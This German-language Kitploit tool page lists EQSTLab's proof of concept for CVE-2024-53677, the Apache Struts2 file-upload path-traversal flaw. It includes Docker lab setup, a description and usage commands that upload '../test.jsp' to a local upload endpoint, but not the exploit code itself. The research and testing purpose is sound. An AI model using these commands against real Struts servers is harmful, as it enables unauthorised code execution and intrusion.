Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-53677 — Logikfehler beim Datei-Upload im Apache-Struts2-Exploit | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2024-53677
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubeqstlab/cve-2024-53677

CVE-2024-53677

Logikfehler beim Datei-Upload im Apache-Struts2-Exploit

Repository anzeigen
172vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.

CVE-2024-53677

★ CVE-2024-53677 Unbeschränkter Upload von Dateien mit gefährlichem Typ und RCE PoC ★

Lab-Einrichtung

root@kitploit:~
cd docker
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677

Zeitplan

11. Dez. : CVE-2024-53677 File Upload PoC hochgeladen

Beschreibung

CVE-2024-53677 : Die Datei-Upload-Logik in Apache Struts ist fehlerhaft. Ein Angreifer kann Datei-Upload-Parameter manipulieren, um Pfad-Traversal zu ermöglichen, und unter bestimmten Umständen kann dies zum Hochladen einer schädlichen Datei führen, die zur Ausführung von Remote-Code verwendet werden kann. Dieses Problem betrifft Apache Struts: von 2.0.0 vor 6.4.0. Benutzern wird empfohlen, mindestens auf Version 6.4.0 zu aktualisieren und auf den neuen Datei-Upload-Mechanismus zu migrieren https://struts.apache.org/core-developers/file-upload . Wenn Sie keine alte Datei-Upload-Logik verwenden, die auf FileuploadInterceptor basiert, ist Ihre Anwendung sicher. Weitere Details finden Sie unter https://cwiki.apache.org/confluence/display/WW/S2-067.

Verwendung

Git-Clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-53677.git
cd CVE-2024-53677

Pakete installieren

root@kitploit:~
pip install -r requirements.txt

Befehl

root@kitploit:~
# Standarddatei hochladen
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName>
# Angegebene Datei hochladen
python CVE-2024-53677.py -u <URL> -p <top.UploadFileName> -f <Dateipfad>

Beispiel

root@kitploit:~
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../test.jsp -f ./test.txt

Ausgabe

CVE-2024-53677.py

Ergebnis

Haftungsausschluss

Dieses Repository ist nicht als Object-Injection-Exploit für CVE-2024-53677 gedacht. Der Zweck dieses Projekts ist es, Menschen zu helfen, diese Schwachstelle zu verstehen und vielleicht ihre eigenen Anwendungen zu testen.

EQST Insight

Wir veröffentlichen einmal im Monat CVE- und Malware-Analysen. Wenn Sie interessiert sind, folgen Sie bitte den Links unten, um unsere Veröffentlichungen anzusehen. https://www.skshieldus.com/eng/business/insight.do

Referenz

https://nvd.nist.gov/vuln/detail/CVE-2024-53677

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

https://attackerkb.com/topics/YfjepZ70DS/cve-2024-53677

https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker

Tool herunterladen